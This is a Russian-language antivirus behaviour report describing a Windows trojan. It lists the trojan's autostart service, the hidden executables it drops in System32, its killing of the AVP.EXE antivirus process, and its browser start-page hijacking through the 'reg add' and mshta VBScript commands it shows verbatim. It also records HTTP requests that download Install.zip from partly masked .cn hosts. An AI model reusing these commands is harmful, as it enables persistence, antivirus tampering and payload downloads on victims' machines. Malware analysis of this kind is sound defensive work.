Техническая информация
Для обеспечения автозапуска и распространения:
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet001\Services\Private0310] 'Start' = '00000002'
Вредоносные функции:
Создает и запускает на исполнение:
- '<SYSTEM32>\homepage.exe'
- '<SYSTEM32>\Private0310.exe'
- '<SYSTEM32>\f100.exe'
- '<SYSTEM32>\lissty.exe'
Запускает на исполнение:
- '<SYSTEM32>\mshta.exe' vbscript:CreateObject("WScript.Shell").Run("iexplore http://cx.##2918.cn/Cat/Mac.aspx?MA#####################################################################
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HOMEPAGE /t REG_DWORD /d 1 /f
- '%PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE' http://cx.##2918.cn/Cat/Mac.aspx?MA###################################################
- '<SYSTEM32>\cmd.exe' /c DelMe.bat
- '<SYSTEM32>\ping.exe' 127.0.0.1 -n 5
- '<SYSTEM32>\notepad.exe'
- '<SYSTEM32>\wscript.exe' "<SYSTEM32>\kituo.vbs"
- '<SYSTEM32>\cmd.exe' /c <SYSTEM32>\oooxx.bat
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://3.##15.net" /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://3.##15.net" /f
Завершает или пытается завершить
следующие пользовательские процессы:
- AVP.EXE
Без разрешения пользователя устанавливает новую стартовую страницу для Windows Internet Explorer.
Изменения в файловой системе:
Создает следующие файлы:
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\Mac[1].aspx
- <SYSTEM32>\Private0310.exe
- <SYSTEM32>\Ins.zip
- <SYSTEM32>\DelMe.bat
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\3.1515[1]
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\Mac[1].aspx
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\version[1].htm
- <SYSTEM32>\homepage.exe
- <SYSTEM32>\kituo.vbs
- <SYSTEM32>\kituo.bat
- <SYSTEM32>\koko.txt
- <SYSTEM32>\lissty.exe
- <SYSTEM32>\f100.exe
Присваивает атрибут 'скрытый' для следующих файлов:
- <SYSTEM32>\Private0310.exe
Удаляет следующие файлы:
- <SYSTEM32>\homepage.exe
- <SYSTEM32>\f100.exe
- <SYSTEM32>\kituo.vbs
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\version[1].htm
Перемещает следующие файлы:
- <SYSTEM32>\koko.txt в <SYSTEM32>\oooxx.bat
Сетевая активность:
Подключается к:
- 'localhost':1045
- 'cx.##2918.cn':80
- '3.##15.net':80
- 'c.##qmis.cn':80
- 'do##.gotog88.cn':80
- 'localhost':1037
- 'localhost':1042
- 'www.go##g88.cn':80
TCP:
Запросы HTTP GET:
- cx.##2918.cn/Cat/Mac.aspx?MA###################################################
- c.##qmis.cn/2/count.asp?ma##########################################################
- 3.##15.net/
- do##.gotog88.cn/freehost/version.htm
- do##.gotog88.cn/freehost/Install.zip
- www.go##g88.cn/Cat/Mac.aspx?MA################################################################################
UDP:
- DNS ASK c.##qmis.cn
- DNS ASK 3.##15.net
- DNS ASK cx.##2918.cn
- DNS ASK do##.gotog88.cn
- DNS ASK www.go##g88.cn
Другое:
Ищет следующие окна:
- ClassName: 'MS_WINHELP' WindowName: ''
- ClassName: 'Notepad' WindowName: ''
- ClassName: 'MS_WebcheckMonitor' WindowName: ''
- ClassName: 'Button' WindowName: '??????????????????????????????????'
- ClassName: 'IEFrame' WindowName: ''
- ClassName: '' WindowName: ''
- ClassName: 'ATL:03E744E0' WindowName: '??????????????????????????'
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: '' WindowName: 'irmon'
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'EDIT' WindowName: ''
- ClassName: '#32770' WindowName: '????????????????????'
- ClassName: '#32770' WindowName: '360?????? - ????????'
- ClassName: 'Afx:400000:0' WindowName: ''
- ClassName: '#32770' WindowName: ''
